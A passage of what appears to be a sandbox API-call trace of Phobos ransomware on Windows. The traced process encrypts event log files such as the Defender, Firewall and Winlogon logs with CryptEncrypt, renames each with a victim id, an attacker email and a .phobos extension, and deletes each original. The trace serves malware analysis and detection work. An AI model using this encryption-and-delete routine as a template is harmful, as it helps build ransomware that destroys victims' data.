lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0060.863] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc910) returned 1 [0060.863] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.863] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xa0, dwBufLen=0xa0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xa0) returned 1 [0060.863] CryptDestroyKey (hKey=0x10dc910) returned 1 [0060.863] WriteFile (in: hFile=0x338, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x152, lpOverlapped=0x0) returned 1 [0060.863] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0060.863] CloseHandle (hObject=0x2fc) returned 1 [0060.864] CloseHandle (hObject=0x338) returned 1 [0060.865] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx")) returned 1 [0060.866] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.866] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.867] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0060.867] CloseHandle (hObject=0x338) returned 1 [0060.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0060.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.867] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0060.867] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.867] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.867] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.867] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc8d0) returned 1 [0060.867] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.867] ReadFile (in: hFile=0x338, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0060.878] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0060.878] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0060.879] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dccd0) returned 1 [0060.879] CryptSetKeyParam (hKey=0x10dccd0, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.879] CryptEncrypt (in: hKey=0x10dccd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80, dwBufLen=0x80 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x80) returned 1 [0060.879] CryptDestroyKey (hKey=0x10dccd0) returned 1 [0060.879] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x132, lpOverlapped=0x0) returned 1 [0060.879] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0060.879] CloseHandle (hObject=0x338) returned 1 [0060.880] CloseHandle (hObject=0x2fc) returned 1 [0060.881] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0060.883] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.883] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.885] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0060.885] CloseHandle (hObject=0x2fc) returned 1 [0060.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0060.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.885] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.885] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.885] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.885] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.894] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcc50) returned 1 [0060.894] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.894] ReadFile (in: hFile=0x2fc, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0060.910] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0060.910] WriteFile (in: hFile=0x310, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0060.911] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcc90) returned 1 [0060.911] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.911] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xa0, dwBufLen=0xa0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xa0) returned 1 [0060.911] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0060.911] WriteFile (in: hFile=0x310, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x152, lpOverlapped=0x0) returned 1 [0060.911] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0060.911] CloseHandle (hObject=0x2fc) returned 1 [0060.911] CloseHandle (hObject=0x310) returned 1 [0060.913] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0060.914] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.914] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.915] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0060.915] CloseHandle (hObject=0x310) returned 1 [0060.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 0x20 [0060.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.915] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.915] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.915] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.915] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.915] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcb10) returned 1 [0060.915] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.915] ReadFile (in: hFile=0x310, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0060.928] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0060.928] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0060.930] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc710) returned 1 [0060.930] CryptSetKeyParam (hKey=0x10dc710, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.930] CryptEncrypt (in: hKey=0x10dc710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90, dwBufLen=0x90 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x90) returned 1 [0060.930] CryptDestroyKey (hKey=0x10dc710) returned 1 [0060.930] WriteFile (in: hFile=0x2fc, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x142, lpOverlapped=0x0) returned 1 [0060.930] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0060.930] CloseHandle (hObject=0x310) returned 1 [0060.930] CloseHandle (hObject=0x2fc) returned 1 [0060.932] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx")) returned 1 [0060.935] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.935] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.935] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0060.936] CloseHandle (hObject=0x310) returned 1 [0060.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0060.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.936] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.936] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.936] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.936] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.936] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dcc50) returned 1 [0060.936] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.936] ReadFile (in: hFile=0x310, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0060.953] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0060.954] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0060.955] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dc910) returned 1 [0060.955] CryptSetKeyParam (hKey=0x10dc910, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.955] CryptEncrypt (in: hKey=0x10dc910, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xd0, dwBufLen=0xd0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xd0) returned 1 [0060.955] CryptDestroyKey (hKey=0x10dc910) returned 1 [0060.955] WriteFile (in: hFile=0x304, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x182, lpOverlapped=0x0) returned 1 [0060.955] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0060.955] CloseHandle (hObject=0x310) returned 1 [0060.956] CloseHandle (hObject=0x304) returned 1 [0060.957] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0060.959] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0060.959] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.959] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0060.959] CloseHandle (hObject=0x304) returned 1 [0060.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0060.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.959] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0060.960] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.960] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0060.960] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.960] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f690, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6ec | out: phKey=0x352f6ec*=0x10dc610) returned 1 [0060.960] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0060.960] ReadFile (in: hFile=0x304, lpBuffer=0x38f8020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x352f714, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x352f714*=0x11000, lpOverlapped=0x0) returned 1 [0061.231] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010, dwBufLen=0x11010 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0x11010) returned 1 [0061.231] WriteFile (in: hFile=0x310, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x11010, lpOverlapped=0x0) returned 1 [0061.261] CryptImportKey (in: hProv=0x10b66e0, pbData=0x352f684, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x352f6f0 | out: phKey=0x352f6f0*=0x10dcc50) returned 1 [0061.261] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x352f798, dwFlags=0x0) returned 1 [0061.261] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xa0, dwBufLen=0xa0 | out: pbData=0x38f8020*, pdwDataLen=0x352f6b0*=0xa0) returned 1 [0061.261] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0061.261] WriteFile (in: hFile=0x310, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x352f6f8, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x352f6f8*=0x152, lpOverlapped=0x0) returned 1 [0061.261] CryptDestroyKey (hKey=0x10dc610) returned 1 [0061.261] CloseHandle (hObject=0x304) returned 1 [0061.261] CloseHandle (hObject=0x310) returned 1 [0061.263] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0061.266] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x352f798 | out: pbBuffer=0x352f798) returned 1 [0061.266] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.266] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x352f738 | out: lpFileSize=0x352f738*=69632) returned 1 [0061.266] CloseHandle (hObject=0x310) returned 1 [0061.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0061.266] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.266] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0061.266] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0061.266] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352f6d8 | out: lpNewFilePointer=0x0) returned 1 [0061.266] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, 